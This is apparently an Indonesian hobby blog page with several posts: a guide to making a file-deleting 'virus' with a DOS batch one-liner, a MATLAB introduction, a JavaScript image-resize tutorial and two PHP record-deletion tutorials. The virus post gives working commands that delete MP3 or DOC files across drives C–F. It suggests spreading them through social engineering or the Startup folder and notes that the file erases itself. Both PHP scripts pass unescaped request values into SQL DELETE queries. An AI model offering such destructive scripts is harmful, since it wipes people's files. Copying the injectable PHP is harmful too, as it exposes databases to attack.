_The beautiful thing about learning is nobody can take it away from me....

wishnew.web.id

Programing, hobby, entertainment, game, digital art, etc

Membuat Virus Dengan DOS (teknik hacking tanpa program)

Tags: , , ,

Sebenarnya saya tidak bergitu tertarik membahas tema yang satu ini. Karena cenderung bersifat merusak. Jadinya, saya tidak akan berpanjang lebar dalam ini. Ada banyak cara untuk membuat virus, salah satunya dalam buku ini adalah dengan DOS. Saya hanya akan memberikan sebuah contoh sangat sederhana dalam pembuatan virus. Efeknya akan menghapus file MP3 yang ada dalam komputer. Sebenarnya saya pernah melihat sebuah virus penghapus MP3 yang dibuat menggunakan Visual Basic, tapi kalau cuma mau menghapus sebuah file, rasanya tidak perlu menggunakan banyak-banyak source code. Bahkan dalam artikel ini Anda bisa membuat virus sejenis hanya dengan satu baris perintah pada DOS. Tidak cuma itu, Anda juga bisa mengkreasikannya untuk melakukan aksi delete jenis file lainnya, cuma dengan menggantikan ekstensi file. Anda juga bisa memodifikasi untuk menghapus semua file MP3 dalam seluruh drive atau hanya dalam folder tertentu.

Yang perlu Anda ketikkan dalam DOS adalah:

echo for %%p in (C:\hack) do del *.mp3 %0 %%p:>virusdot.bat

virus dengan dos 1Gambar  virusdos.bat

Maka akan muncul seekor virus yang bernama virus.dot dalam folder yang aktif.

virus dengan dos 2Gambar  File Target

Untuk menjalankannya, saya serahkan kepada Anda. Apakah mau menggunakan Social Engineering, dipasang di StartUp. Semua itu urusan Anda. Saya hanya mengajari cara membuatnya saja. Sebagai contoh, saya langsung mengaktifkan file virus virusdos.bat tersebut. Perhatikan, sekarang virus itu telah bekerja dengan menghapus semua file MP3 yang ada di dalamnya. Termasuk virus itu sendiri menghilangkan dirinya, untuk menghapus jejak.

virus dengan dos 3

Gambar File target dihapus

Maaf ya, saya cuma memberikan satu itu saja. Untuk modelmodel lainnya, pelajari sendiri. Khan saya sudah bilang tidak begitu tertarik dengan bab ini. Sebagai sedikit bonus, apabila Anda berniat memodifikasi supaya virus tersebut dapat menghapus dalam semua drive, bentuk syntax-nya adalah:

echo for %%p in (C D E F) do del *.mp3 %0 %%p:>virusdot.bat

Nanti, virus akan menyusup ke drive C, D, E, dan F untuk menghapus file MP3.

Sekarang apabila berniat jenis file tertentu, katakanlah file dokumen (DOC), syntax-nya menjadi:

echo for %%p in (C D E F) do del *.doc %0 %%p:>virusdot.bat

Yah, pokoknya pintar-pintar Anda-lah. Saya agak malas main main dengan virus. Jadi, sudah segitu aja dulu ya. Setidaknya lumayan kan buat belajar… hehehe….*merasa ngajarin yg bener*

Mengenal Program MATLAB

Tags:

matlab7_logoGa tau yah matlab itu apa?? Hehe.. sebenernya saya juga baru ngerti dan baru mempelajari… berikut merupakan sedikit penjelasannya :

MATLAB adalah sebuah bahasa dengan (high-performance) kinerja tinggi untuk komputasi masalah teknik. Matlab mengintegrasikan komputasi, visualisasi, dan pemrograman dalam suatu model yang sangat mudah untuk pakai dimana masalah-masalah dan penyelesaiannya diekspresikan dalam notasi matematika yang familiar. Penggunaan Matlab meliputi bidang–bidang:

• Matematika dan Komputasi

• Pembentukan Algorithm

• Akusisi Data

• Pemodelan, simulasi, dan pembuatan prototipe

• Analisa data, explorasi, dan visualisasi

• Grafik Keilmuan dan bidang Rekayasa

MATLAB merupakan suatu sistem interaktif yang memiliki elemen data dalam suatu array sehingga tidak lagi kita dipusingkan dengan masalah dimensi. Hal ini memungkinkan kita untuk memecahkan banyak masalah teknis yang terkait dengan komputasi, kususnya yang berhubungan dengan matrix dan formulasi vektor, yang mana masalah tersebut merupakan momok apabila kita harus menyelesaikannya dengan menggunakan bahasa level rendah seperti Pascall, C dan Basic.

Nama MATLAB merupakan singkatan dari matrix laboratory. MATLAB pada awalnya ditulis untuk memudahkan akses perangkat lunak matrik yang telah dibentuk oleh LINPACK dan EISPACK. Saat ini perangkat MATLAB telah menggabung dengan LAPACK dan BLAS library, yang merupakan satu kesatuan dari sebuah seni tersendiri dalam perangkat lunak untuk komputasi matrix. Dalam lingkungan perguruan tinggi teknik, Matlab merupakan perangkat standar untuk memperkenalkan dan mengembangkan penyajian materi matematika, rekayasa dan kelimuan. Di industri, MATLAB merupakan perangkat pilihan untuk penelitian dengan produktifitas yang tingi, pengembangan dan analisanya.

Fitur-fitur MATLAB sudah banyak dikembangkan, dan lebih kita kenal dengan nama toolbox. Sangat penting bagi seorang pengguna Matlab, toolbox mana yang mandukung untuk learn dan apply technologi yang sedang dipelajarinya. Toolbox toolbox ini merupakan kumpulan dari fungsi-fungsi MATLAB (Mfiles) yang telah dikembangkan ke suatu lingkungan kerja MATLAB untuk memecahkan masalah dalam kelas particular. Area-area yang sudah bisa dipecahkan dengan toolbox saat ini meliputi pengolahan sinyal, system kontrol, neural networks, fuzzy logic, wavelets, dan lain-lain.

Kelengkapan pada Sistem MATLAB

Sebagai sebuah system, MATLAB tersusun dari 5 bagian utama:

1. Development Environment. Merupakan sekumpulan perangkat dan fasilitas yang membantu anda untuk menggunakan fungsi-fungsi dan file-file MATLAB. Beberapa perangkat ini merupakan sebuah graphical user interfaces (GUI). Termasuk didalamnya adalah MATLAB desktop dan Command Window, command history, sebuah editor dan debugger, dan browsers untuk melihat help, workspace, files, dan search path.

2. MATLAB Mathematical Function Library. Merupakan sekumpulan algoritma komputasi mulai dari fungsi-fungsi dasar sepertri: sum, sin, cos, dan complex arithmetic, sampai dengan fungsifungsi yang lebih kompek seperti matrix inverse, matrix eigenvalues, Bessel functions, dan fast Fourier transforms.

3. MATLAB Language. Merupakan suatu high-level matrix/array language dengan control flow statements, functions, data structures, input/output, dan fitur-fitur object-oriented programming. Ini memungkinkan bagi kita untuk melakukan kedua hal baik “pemrograman dalam lingkup sederhana ” untuk mendapatkan hasil yang cepat, dan “pemrograman dalam lingkup yang lebih besar” untuk memperoleh hasil-hasil dan aplikasi yang komplek.

4. Graphics. MATLAB memiliki fasilitas untuk menampilkan vector dan matrices sebagai suatu grafik. Didalamnya melibatkan high-level functions (fungsi-fungsi level tinggi) untuk visualisasi data dua dikensi dan data tiga dimensi, image processing, animation, dan presentation graphics.  Ini juga melibatkan fungsi level rendah yang memungkinkan bagi anda untuk membiasakan diri untuk memunculkan grafik mulai dari benutk yang sederhana sampai dengan tingkatan graphical user interfaces pada aplikasi MATLAB anda.

5. MATLAB Application Program Interface (API). Merupakan suatu library yang memungkinkan program yang telah anda tulis dalam bahasa C dan Fortran mampu berinterakasi dengan MATLAB. Ini melibatkan fasilitas untuk pemanggilan routines dari MATLAB (dynamic linking), pemanggilan MATLAB sebagai sebuah computational engine, dan untuk membaca dan menuliskan MAT-files.

Setelah membaca penjelasan diatas kira2 tau dong matlab itu seperti  apa… lumayan canggih kan??

Sip deh… untuk selanjutnya  saya  akan mencoba menggunakan matlab ini yaitu melakukan konversi  suatu gambar atau image menjadi matrix… hal ini akan dijelaskan pada postingan berikutnya…

Script PHP untuk Menghapus Data Via Panel di Tabel

Tags:

OK… artikel kali ini akan membahas tentang bagaimana cara membuat script PHP untuk menghapus record atau data dari database (MySQL). Adapun penghapusan tersebut dilakukan melalui panel hanya dengan mengklik link yang bersesuaian dengan data atau baris record yang akan dihapus.

Pada tampilan video di atas tampak bahwa sebelum data terhapus, muncul semacam konfirmasi apakah user benar-benar ingin menghapus data atau tidak. Konfirmasi ini muncul supaya menghindari hal-hal yang diluar dugaan, misalnya data terhapus secara tidak sengaja karena klik. Untuk memunculkan konfirmasi semacam in, di sini akan digunakan Javascript.

Untuk lebih jelasnya perhatikan script di bawah ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<html>
<head>
   <script language="JavaScript">
   function konfirmasi(nim)
   {
       tanya = confirm('Anda yakin ingin menghapus mahasiswa bernim '+ nim + '?');
       if (tanya == true) return true;
       else return false;
   }
</script>
</head>
<body>

<?php

mysql_connect("namahost","dbuser","dbpass");
mysql_select_db("dbname");

$op = $_GET['op'];
if ($op == "delete")
{
   $nim = $_GET['nim'];

   $query = "DELETE FROM mhs WHERE nim = '$nim'";
   $hasil = mysql_query($query);
}

?>

<table border="1">
<tr>
    <th>No</th>
    <th>NIM</th>
    <th>Nama Mahasiswa</th>
    <th>Action</th>
</tr>

<?php

$no = 1;
$query = "SELECT * FROM mhs";
$hasil = mysql_query($query);
while ($data = mysql_fetch_array($hasil))
{
   echo "<tr>";
   echo "<td>".$no."</td>";
   echo "<td>".$data['nim']."</td>";
   echo "<td>".$data['namaMhs']."</td>";
   echo "<td><a href=\"".$_SERVER['PHP_SELF']."?op=delete&nim=".$data['nim']."\" onclick=\"return konfirmasi('".$data['nim']."')\">Hapus</a></td>";
   echo "</tr>";
   $no++;
}

?>

</table>
</body>
</html>

Penjelasan script:

Proses penghapusan data atau record pada script ini dilakukan dengan mengklik link yang ada pada setiap baris record. Dalam hal ini, parameter data yang dihapus menggunakan nim mengingat nim adalah sesuatu yang unik.

Pada link tersebut diberikan event onclick() yang berarti akan memicu suatu script apabila link tersebut diclick. Script yang dipicu tersebut berbentuk Javascript, dan diberinama function konfirmasi() dengan parameternya adalah nim yang akan dihapus.

Dalam function konfirmasi(), terdapat perintah confirm(), ini digunakan untuk meminta konfirmasi user tentang suatu action. Konfirmasi ini akan memunculkan kotak dialog yang di dalamnya terdapat tombol OK dan CANCEL.

Maksud perintah  if (tanya == true) return true; adalah jika tombol yang ditekan pada konfirmasi adalah OK, maka function konfirmasi() akan mengembalikan nilai TRUE yang mengakibatkan menjalankan link penghapusan. Jika yang ditekan tombol CANCEL (tanya == false) maka yang dikembalikan oleh konfirmasi() adalah FALSE, yang artinya link penghapusan tidak dijalankan.

Mudah bukan….

Teknik Membuat Script Mengubah Ukuran Image dengan Javascript

Tags:

Pada artikel kali ini, saya akan mencoba menjelaskan bagaimana teknik membuat script mengubah ukuran image dengan DOM di Javascript. Hal ini pernah saya jadikan tugas bagi mahasiswa saya yang mengambil matakuliah pemrograman web. Tapi sudah lama kok :-)

OK… Karena menggunakan Javascript, sehingga dalam hal ini prosesnya tidak perlu melalui request ke server namun hanya terjadi dalam client saja. Oleh karena itu proses resizing image ini dapat dilakukan dengan cepat.

Hmm… adapun skenario mengubah ukuran imagenya sebagai berikut. Dalam halaman web muncul sebuah image, kemudian terdapat 3 buah tombol atau button. Tombol pertama (+) digunakan untuk memperbesar ukuran image menjadi 2 kali sebelumnya. Tombol kedua (-) untuk memperkecil ukuran image 1/2 kali sebelumnya, dan tombol ketiga (=) untuk mereset ukuran image menjadi ukuran aslinya.

Berikut ini screen shot tampilan halaman web nya:

Photobucket

Tampilan di atas adalah tampilan image mula-mula (ukuran asli). Selanjutnya apabila tombol (+) diklik maka akan muncul image dengan besar 2 kali sebelumnya (lihat gambar di bawah).

Photobucket

Sedangkan apabila tombol (-) diklik maka image akan berukuran 1/2 kali sebelumnya.

Photobucket

Perlu diketahui bahwa, image yang yang tampil tersebut berasal dari sebuah file image yang sama. Perubahannya hanya pada size nya saja.

OK.. bagaimana teknik pembuatannya?

Pertama kita siapkan halaman webnya yang di dalamnya terdapat image dan 3 buah buttonnya.

<html>
<head>
  <title>Ubah Size Image</title>
</head>
<body>
  <div align="center">
    <h1>Sampel Script Mengubah Size Gambar</h1>
    <h2>Logo UNS</h2>
    <input type="button" value="-" />
    <input type="button" value="=" />
    <input type="button" value="+" /><br /><br />
    <img id="gambar" src="uns.gif" />
  </div>
</body>
</html>

Selanjutnya, untuk proses pengubahan atau perhitungan ukuran image kita harus mendapatkan ukuran asli (width dan height) dari image terlebih dahulu. Untuk mendapatkan ukuran panjang (width) image, kita gunakan perintah DOM di Javascript

document.getElementByID("gambar").width;

dan lebar atau tinggi imagenya kita gunakan perintah

document.getElementByID("gambar").height;

Kedua perintah tersebut kita jalankan begitu halaman web diload oleh browser (diberikan pada event onload)

<html>
<head>
  <title>Ubah Size Image</title>

<script type="text/javascript">

var panjang;
var lebar;

function bacaUkuran()
{
  panjang = document.getElementById("gambar").width;
  lebar = document.getElementById("gambar").height;
}

</script>
</head>
<body onload="bacaUkuran()">
  <div align="center">
    <h1>Sampel Script Mengubah Size Gambar</h1>
    <h2>Logo UNS</h2>
    <input type="button" value="-" />
    <input type="button" value="=" />
    <input type="button" value="+" /><br /><br />
    <img id="gambar" src="uns.gif" />
  </div>
</body>
</html>

Perhatikan Javascript di atas, bahwa variabel panjang dan lebar sengaja dibuat sebagai variabel global karena nantinya akan digunakan dalam proses perhitungan untuk setiap proses (perbesar ukuran dan perkecil ukuran). Apabila kedua variabel tersebut dibuat lokal dalam function bacaUkuran() maka nilai-nilainya hanya bisa dikenal dalam function tersebut saja. Sehingga deklarasi variabel panjang dan lebar tidak seperti berikut ini :

function bacaUkuran()
{
  var panjang;
  var lebar;
  panjang = document.getElementById("gambar").width;
  lebar = document.getElementById("gambar").height;
}

Selanjutnya kita akan membuat script untuk memperbesar ukuran terlebih dahulu. Bagaimana idenya? Misalkan mula-mula panjang imagenya adalah x. Setelah diperbesar 2 kali maka panjang imagenya adalah 2x. Bila diperbesar lagi maka panjang imagenya menjadi 4x, dst. Secara umum panjang image setelah diperbesar n kali adalah 2nx. Bila n = 0, maka akan diperoleh panjang image mula-mula. Hal yang sama juga berlaku untuk lebar imagenya. Nah… ide ini bisa kita terapkan dalam bentuk script.

<html>
<head>
  <title>Ubah Size Image</title>

<script type="text/javascript">

var panjang;
var lebar;
var n = 0;

function bacaUkuran()
{
  panjang = document.getElementById("gambar").width;
  lebar = document.getElementById("gambar").height;
}

function tambahSize()
{
  n++;
  document.getElementById("gambar").width = Math.pow(2, n) * panjang;
  document.getElementById("gambar").height = Math.pow(2, n) * lebar;
}

</script>
</head>
<body onload="bacaUkuran()">
  <div align="center">
    <h1>Sampel Script Mengubah Size Gambar</h1>
    <h2>Logo UNS</h2>
    <input type="button" value="-" />
    <input type="button" value="=" />
    <input type="button" value="+" onclick="tambahSize()" /><br /><br />
    <img id="gambar" src="uns.gif" />
  </div>
</body>
</html>

Keterangan:

Perintah Math.pow(2, n) digunakan untuk menghitung 2n pada Javascript.
Perintah document.getElementById("gambar").width = Math.pow(2, n) * panjang; digunakan untuk mengubah panjang image yang tampil dalam browser menjadi 2n * panjang aslinya.

Sedangkan untuk memperkecil ukuran image, kita cukup melakukan decrement pada variabel n nya saja (n--). Misal mula-mula panjang image adalah x (20x) pixel, lalu diperbesar menjadi 2x (20+1x = 21x), lalu diperbesar lagi menjadi 4x (21+1x = 22x). Selanjutnya diperkecil, maka panjangnya menjadi kembali ke 2x (22-1x = 21x). Bila diperkecil lagi menjadi x (21-1x = 20x), dan bila diperkecil lagi menjadi 1/2 x (20 – 1x = 2-1x) dst.

Dengan ide di atas maka Javascript untuk memperkecil ukuran adalah:

<html>
<head>
  <title>Ubah Size Image</title>

<script type="text/javascript">

var panjang;
var lebar;
var n = 0;

function bacaUkuran()
{
  panjang = document.getElementById("gambar").width;
  lebar = document.getElementById("gambar").height;
}

function tambahSize()
{
  n++;
  document.getElementById("gambar").width = Math.pow(2, n) * panjang;
  document.getElementById("gambar").height = Math.pow(2, n) * lebar;
}

function kurangiSize()
{
  n--;
  document.getElementById("gambar").width = Math.pow(2, n) * panjang;
  document.getElementById("gambar").height = Math.pow(2, n) * lebar;
}

</script>
</head>
<body onload="bacaUkuran()">
  <div align="center">
    <h1>Sampel Script Mengubah Size Gambar</h1>
    <h2>Logo UNS</h2>
    <input type="button" value="-" onclick="kurangiSize()" />
    <input type="button" value="=" />
    <input type="button" value="+" onclick="tambahSize()" /><br /><br />
    <img id="gambar" src="uns.gif" />
  </div>
</body>
</html>

Yang terakhir, untuk tombol ketiga (=) dimana bila tombol ini ukuran image akan direset menjadi ukuran aslinya. Idenya adalah dengan memberi nilai n = 0, untuk mendapatkan panjang dan lebar image aslinya. Bila nilai n = 0, dan panjang image aslinya x, maka 20x = x (sama seperti ukuran aslinya). Demikian pula untuk lebarnya.

<html>
<head>
  <title>Ubah Size Image</title>

<script type="text/javascript">

var panjang;
var lebar;
var n = 0;

function bacaUkuran()
{
  panjang = document.getElementById("gambar").width;
  lebar = document.getElementById("gambar").height;
}

function tambahSize()
{
  n++;
  document.getElementById("gambar").width = Math.pow(2, n) * panjang;
  document.getElementById("gambar").height = Math.pow(2, n) * lebar;
}

function kurangiSize()
{
  n--;
  document.getElementById("gambar").width = Math.pow(2, n) * panjang;
  document.getElementById("gambar").height = Math.pow(2, n) * lebar;
}

function resetSize()
{
  n = 0;
  document.getElementById("gambar").width = Math.pow(2, n) * panjang;
  document.getElementById("gambar").height = Math.pow(2, n) * lebar;
}

</script>
</head>
<body onload="bacaUkuran()">
  <div align="center">
    <h1>Sampel Script Mengubah Size Gambar</h1>
    <h2>Logo UNS</h2>
    <input type="button" value="-" onclick="kurangiSize()" />
    <input type="button" value="=" onclick="resetSize()" />
    <input type="button" value="+" onclick="tambahSize()" /><br /><br />
    <img id="gambar" src="uns.gif" />
  </div>
</body>
</html>

Asyik dan mudah bukan membuatnya? Nah… silakan Anda berkreasi sendiri menggunakan image yang lain. Atau mungkin… Anda kembangkan ke font size. Bagaimana bila font nya yang diubah-ubah ukurannya seperti halnya image di atas.

Membuat Script PHP untuk Hapus Data dengan Multi Selection

Tags: ,

Pernahkah Anda membuat script untuk menghapus data dengan konsep multi selection? Untuk menghapus sebuah data sih.. saya kira mudah untuk membuatnya. Pembahasan tentang hal ini telah saya kupas tuntas di artikel sebelumnya.

Tapi… bagaimana bila data yang akan dihapus lebih dari satu sekaligus? Rumit gak ya membuat scriptnya? Hmm… nggak rumit kok, cuman sedikit memusingkan saja he.. he.. he :-) nggak ding, becanda… mudah-mudahan artikel yang saya sajikan ini tidak membuat Anda pusing.

OK… konsep menghapus data dengan multi selection ini biasanya menggunakan bantuan komponen checkbox. Mengapa checkbox? ya.. karena komponen checkbox memungkinkan kita bisa memilih pilihan lebih dari satu.

Data yang akan dihapus terlebih dahulu dipilih dengan memberi tanda check pada checkbox yang ada di depan setiap data. Perhatikan contoh tampilan berikut ini:

Photobucket

Nah… kita akan membuat script PHP untuk menghapus data dengan konsep multi selection seperti gambaran di atas.

Untuk studi kasus yang diambil, lagi-lagi kita mengambil kasus tentang data mahasiswa :-) Huh… mentang-mentang yang buat artikel ini seorang dosen kali ya :-)

Misalkan kita punya tabel dan data sbb:

CREATE TABLE mhs (
  nim varchar(10),
  namamhs varchar(30),
  PRIMARY KEY (nim)
)
INSERT INTO mhs VALUES ('M0197001', 'ROSIHAN ARI YUANA');
INSERT INTO mhs VALUES ('M0197002', 'DWI AMALIA FITRIANI');
INSERT INTO mhs VALUES ('M0197003', 'FAZA FAUZAN KH.');
INSERT INTO mhs VALUES ('M0197004', 'NADA HASANAH');
INSERT INTO mhs VALUES ('M0197005', 'MUH. AHSANI TAQWIM');

Langkah pertama dalam membuat script penghapusan data ini, terlebih dahulu kita siapkan script untuk menampilkan semua datanya. Untuk setiap data nantinya kita letakkan sebuah checkbox di depannya yang digunakan untuk memilih data mana saja yang akan dihapus.

data.php

<html>
<head>
  <title>Hapus data mahasiswa</title>
</head>
<body>
<h1>Hapus Data Mahasiswa</h1>
<?php

// koneksi mysql

mysql_connect("dbhost", "dbuser", "dbpass");
mysql_select_db("dbname");

// query SQL untuk menampilkan semua data

$query = "SELECT * FROM mhs";
$hasil = mysql_query($query);

// membuat form penghapusan data

echo "<form name='myform' method='post' action='".$_SERVER['PHP_SELF']."?action=del'>";
echo "<table border='1'>";
echo "<tr><td></td><td><b>NIM</b></td><td><b>Nama Mahasiswa</b></td></tr>";
$i = 0;
while($data = mysql_fetch_array($hasil))
{
  echo "<tr><td><input type='checkbox' name='nim".$i."' value='".$data['nim']."' /></td><td>".$data['nim']."</td><td>".$data['namamhs']."</td></tr>";
  $i++;
}
echo "</table>";
echo "<input type='hidden' name='n' value='".$i."' />";
echo "<p><input type='submit' value='Hapus' name='submit'> <input type='reset' value='Batal' name='reset'></p>";
echo "</form>";
?>

</body>
</html>

Perhatikan script di atas! Form nantinya akan diarahkan ke script itu sendiri (menggunakan $_SERVER['PHP_SELF']) namun dengan parameter ‘?action=del’. Anda boleh arahkan pemrosesan formnya ke script lain. It’s up to you.

Selain itu perhatikan pula bahwa untuk setiap komponen checkbox diberikan name yang berbeda. Di sini diberikan name berbentuk ‘nim0?, ‘nim1?, ‘nim2?, … dst (perhatikan bagian name=’nim”.$i.”‘).

Kemudian, terdapat pula komponen hidden value (name=’n’) yang bernilai sama dengan jumlah data total atau dalam hal ini adalah $i. Komponen ini nantinya akan sangat penting ketika memproses form terutama pada saat membaca komponen checkbox yang dipilih.

Selanjutnya untuk pemanis, misalkan kita ingin membuat fasilitas SELECT ALL untuk memilih semua data sekaligus. OK Bagaimana caranya? Ya.. kita gunakan Javascript. Oya… jangan lupa berikan sebuah checkbox tambahan untuk memberikan fasilitas ini. Begitu checkbox ini dipilih, maka semua checkbox yang ada di depan data akan terpilih. Untuk hal ini, kita berikan event onclick() pada checkbox tsb. Mmm… sebaiknya checkbox ini diletakkan di dalam header tabel saja ya.

data.php

<html>
<head>
  <title>Hapus data mahasiswa</title>
  <script type="text/javascript">

  function pilihan()
  {
     // membaca jumlah komponen dalam form bernama 'myform'
     var jumKomponen = document.myform.length;

     // jika checkbox 'Pilih Semua' dipilih
     if (document.myform[0].checked == true)
     {
        // semua checkbox pada data akan terpilih
        for (i=1; i<=jumKomponen; i++)
        {
            if (document.myform[i].type == "checkbox") document.myform[i].checked = true;
        }
     }
     // jika checkbox 'Pilih Semua' tidak dipilih
     else if (document.myform[0].checked == false)
        {
            // semua checkbox pada data tidak dipilih
            for (i=1; i<=jumKomponen; i++)
            {
               if (document.myform[i].type == "checkbox") document.myform[i].checked = false;
            }
        }
  }

  </script>
</head>
<body>
<h1>Hapus Data Mahasiswa</h1>
<?php

// koneksi mysql

mysql_connect("dbhost", "dbuser", "dbpass");
mysql_select_db("dbname");

// query SQL untuk menampilkan semua data

$query = "SELECT * FROM mhs";
$hasil = mysql_query($query);

// membuat form penghapusan data

echo "<form name='myform' method='post' action='".$_SERVER['PHP_SELF']."?action=del'>";
echo "<table border='1'>";
echo "<tr><td><input type='checkbox' name='pilih' onclick='pilihan()' /> Pilih semua</td><td><b>NIM</b></td><td><b>Nama Mahasiswa</b></td></tr>";
$i = 0;
while($data = mysql_fetch_array($hasil))
{
  echo "<tr><td><input type='checkbox' name='nim".$i."' value='".$data['nim']."' /></td><td>".$data['nim']."</td><td>".$data['namamhs']."</td></tr>";
  $i++;
}
echo "</table>";
echo "<input type='hidden' name='n' value='".$i."' />";
echo "<p><input type='submit' value='Hapus' name='submit'> <input type='reset' value='Batal' name='reset'></p>";
echo "</form>";
?>

</body>
</html>

Nah… selanjutnya, kita bisa membuat bagian untuk memproses formnya atau membuat script untuk proses penghapusan datanya.

Trus… bagaimana konsep membaca data mana saja yang akan dihapus sesuai pilihan checkboxnya? Untuk membaca data mana yang akan dihapus, kita gunakan bantuan looping. Berapa jumlah loopingnya? Jumlah loopingnya sesuai jumlah komponen checkboxnya. Nah… di sinilah pentingnya penggunaan komponen hidden value <input type=’hidden’ name=’n’ value=’”.$i.”‘ /> Dalam contoh ini nilai n=5.

Selanjutnya isi dalam loopingnya bagaimana? ya… kita cek saja apakah komponen checkbox dengan name=’nim0? dipilih tidak? jika ya, maka baca NIM mahasiswa terkait dengan komponen tersebut, lalu jalankan query SQL untuk menghapus data mahasiswanya. Trus… komponen checkbox dengan name=’nim1? dicek apakah dipilih atau tidak. Jika ya, maka baca NIM mahasiswa terkait dengan komponen tersebut, lalu hapus dengan query SQL. Proses ini diulang sebanyak 5 kali untuk kasus di atas, yaitu mulai dari komponen checkbox dengan name=’nim0? sampai dengan name=’nim4?.

Lantas yang menjadi masalah adalah, bagaimana cara kita mendeteksi bahwa komponen checkbox dengan name tertentu itu dipilih atau tidak? caranya adalah kita gunakan statement IF seperti di bawah ini

if (isset($_POST['nim'.$i]))
{
   ...
}

dengan $i = 0, 1, …, n-1.

Jika suatu komponen checkbox itu dipilih, maka perintah isset($_POST['nim'.$i]) akan menghasilkan nilai TRUE. Sedangkan FALSE jika tidak dipilih.

Dengan demikian, script untuk menghapus data dengan multi selection ini adalah sbb:

data.php

<html>
<head>
  <title>Hapus data mahasiswa</title>
  <script type="text/javascript">

  function pilihan()
  {
     // membaca jumlah komponen dalam form bernama 'myform'
     var jumKomponen = document.myform.length;

     // jika checkbox 'Pilih Semua' dipilih
     if (document.myform[0].checked == true)
     {
        // semua checkbox pada data akan terpilih
        for (i=1; i<=jumKomponen; i++)
        {
            if (document.myform[i].type == "checkbox") document.myform[i].checked = true;
        }
     }
     // jika checkbox 'Pilih Semua' tidak dipilih
     else if (document.myform[0].checked == false)
        {
            // semua checkbox pada data tidak dipilih
            for (i=1; i<=jumKomponen; i++)
            {
               if (document.myform[i].type == "checkbox") document.myform[i].checked = false;
            }
        }
  }

</script>
</head>
<body>
<h1>Hapus Data Mahasiswa</h1>
<?php

// koneksi mysql

mysql_connect("dbhost", "dbuser", "dbpass");
mysql_select_db("dbname");

// bagian script untuk menghapus data

if ($_GET['action'] == "del")
{
   // membaca nilai n dari hidden value
   $n = $_POST['n'];

   for ($i=0; $i<=$n-1; $i++)
   {
     if (isset($_POST['nim'.$i]))
     {
       $nim = $_POST['nim'.$i];
       $query = "DELETE FROM mhs WHERE nim = '$nim'";
       mysql_query($query);
     }
   }
}

// query SQL untuk menampilkan semua data

$query = "SELECT * FROM mhs";
$hasil = mysql_query($query);

// membuat form penghapusan data

echo "<form name='myform' method='post' action='".$_SERVER['PHP_SELF']."?action=del'>";
echo "<table border='1'>";
echo "<tr><td><input type='checkbox' name='pilih' onclick='pilihan()' /> Pilih semua</td><td><b>NIM</b></td><td><b>Nama Mahasiswa</b></td></tr>";
$i = 0;
while($data = mysql_fetch_array($hasil))
{
  echo "<tr><td><input type='checkbox' name='nim".$i."' value='".$data['nim']."' /></td><td>".$data['nim']."</td><td>".$data['namamhs']."</td></tr>";
  $i++;
}
echo "</table>";
echo "<input type='hidden' name='n' value='".$i."' />";
echo "<p><input type='submit' value='Hapus' name='submit'> <input type='reset' value='Batal' name='reset'></p>";
echo "</form>";

?>

</body>
</html>

Gimana mudah bukan membuatnya? selamat mencoba ya…